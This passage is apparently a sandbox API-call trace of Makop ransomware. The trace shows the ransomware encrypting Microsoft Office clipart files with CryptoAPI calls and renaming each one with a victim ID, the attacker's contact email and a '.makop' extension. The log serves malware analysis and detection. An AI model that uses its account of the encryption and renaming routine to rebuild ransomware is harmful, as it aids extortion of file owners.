liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.121] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.121] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.122] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.122] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.122] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x516, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x516, lpOverlapped=0x0) returned 1 [0156.122] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x520, dwBufLen=0x520 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x520) returned 1 [0156.122] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.122] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x520, lpOverlapped=0x0) returned 1 [0156.123] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.123] SetEndOfFile (hFile=0x130) returned 1 [0156.129] GetProcessHeap () returned 0x48a0000 [0156.129] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.129] GetProcessHeap () returned 0x48a0000 [0156.129] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.129] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.130] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.131] CloseHandle (hObject=0x130) returned 1 [0156.131] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02077_.GIF", cAlternateFileName="")) returned 1 [0156.131] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF") returned 76 [0156.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.132] GetProcessHeap () returned 0x48a0000 [0156.132] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.132] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.132] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.133] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x3, lpOverlapped=0x0) returned 1 [0156.136] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.136] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.136] GetProcessHeap () returned 0x48a0000 [0156.136] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.137] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.137] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.137] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.137] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.137] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.137] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.138] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.138] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.138] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.138] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2fd, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x2fd, lpOverlapped=0x0) returned 1 [0156.138] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x300, dwBufLen=0x300 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x300) returned 1 [0156.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.138] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x300, lpOverlapped=0x0) returned 1 [0156.139] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.139] SetEndOfFile (hFile=0x130) returned 1 [0156.145] GetProcessHeap () returned 0x48a0000 [0156.145] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.145] GetProcessHeap () returned 0x48a0000 [0156.145] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.146] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.146] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.147] CloseHandle (hObject=0x130) returned 1 [0156.147] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02082_.GIF", cAlternateFileName="")) returned 1 [0156.148] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF") returned 76 [0156.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.149] GetProcessHeap () returned 0x48a0000 [0156.149] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.149] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.149] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.149] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xa, lpOverlapped=0x0) returned 1 [0156.153] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.153] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.153] GetProcessHeap () returned 0x48a0000 [0156.153] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.154] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.154] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.154] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.154] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.154] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.154] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.154] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.155] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.155] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.155] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x996, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x996, lpOverlapped=0x0) returned 1 [0156.155] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x9a0, dwBufLen=0x9a0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x9a0) returned 1 [0156.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.155] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x9a0, lpOverlapped=0x0) returned 1 [0156.155] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.156] SetEndOfFile (hFile=0x130) returned 1 [0156.162] GetProcessHeap () returned 0x48a0000 [0156.162] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.162] GetProcessHeap () returned 0x48a0000 [0156.162] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.162] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.162] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.164] CloseHandle (hObject=0x130) returned 1 [0156.164] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02085_.GIF", cAlternateFileName="")) returned 1 [0156.164] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF") returned 76 [0156.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.165] GetProcessHeap () returned 0x48a0000 [0156.165] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.165] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.166] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.170] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.170] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.170] GetProcessHeap () returned 0x48a0000 [0156.170] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.170] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.170] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.171] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.171] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.171] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.171] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.171] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.171] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.172] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.172] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.172] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x90c, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x90c, lpOverlapped=0x0) returned 1 [0156.172] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x910, dwBufLen=0x910 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x910) returned 1 [0156.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.172] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x910, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x910, lpOverlapped=0x0) returned 1 [0156.172] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.172] SetEndOfFile (hFile=0x130) returned 1 [0156.179] GetProcessHeap () returned 0x48a0000 [0156.179] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.179] GetProcessHeap () returned 0x48a0000 [0156.179] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.179] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.181] CloseHandle (hObject=0x130) returned 1 [0156.181] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x581, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02097_.GIF", cAlternateFileName="")) returned 1 [0156.181] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF") returned 76 [0156.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.182] GetProcessHeap () returned 0x48a0000 [0156.182] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.182] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.183] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0156.187] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.187] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.188] GetProcessHeap () returned 0x48a0000 [0156.188] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.188] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.188] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.188] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.188] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.188] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, 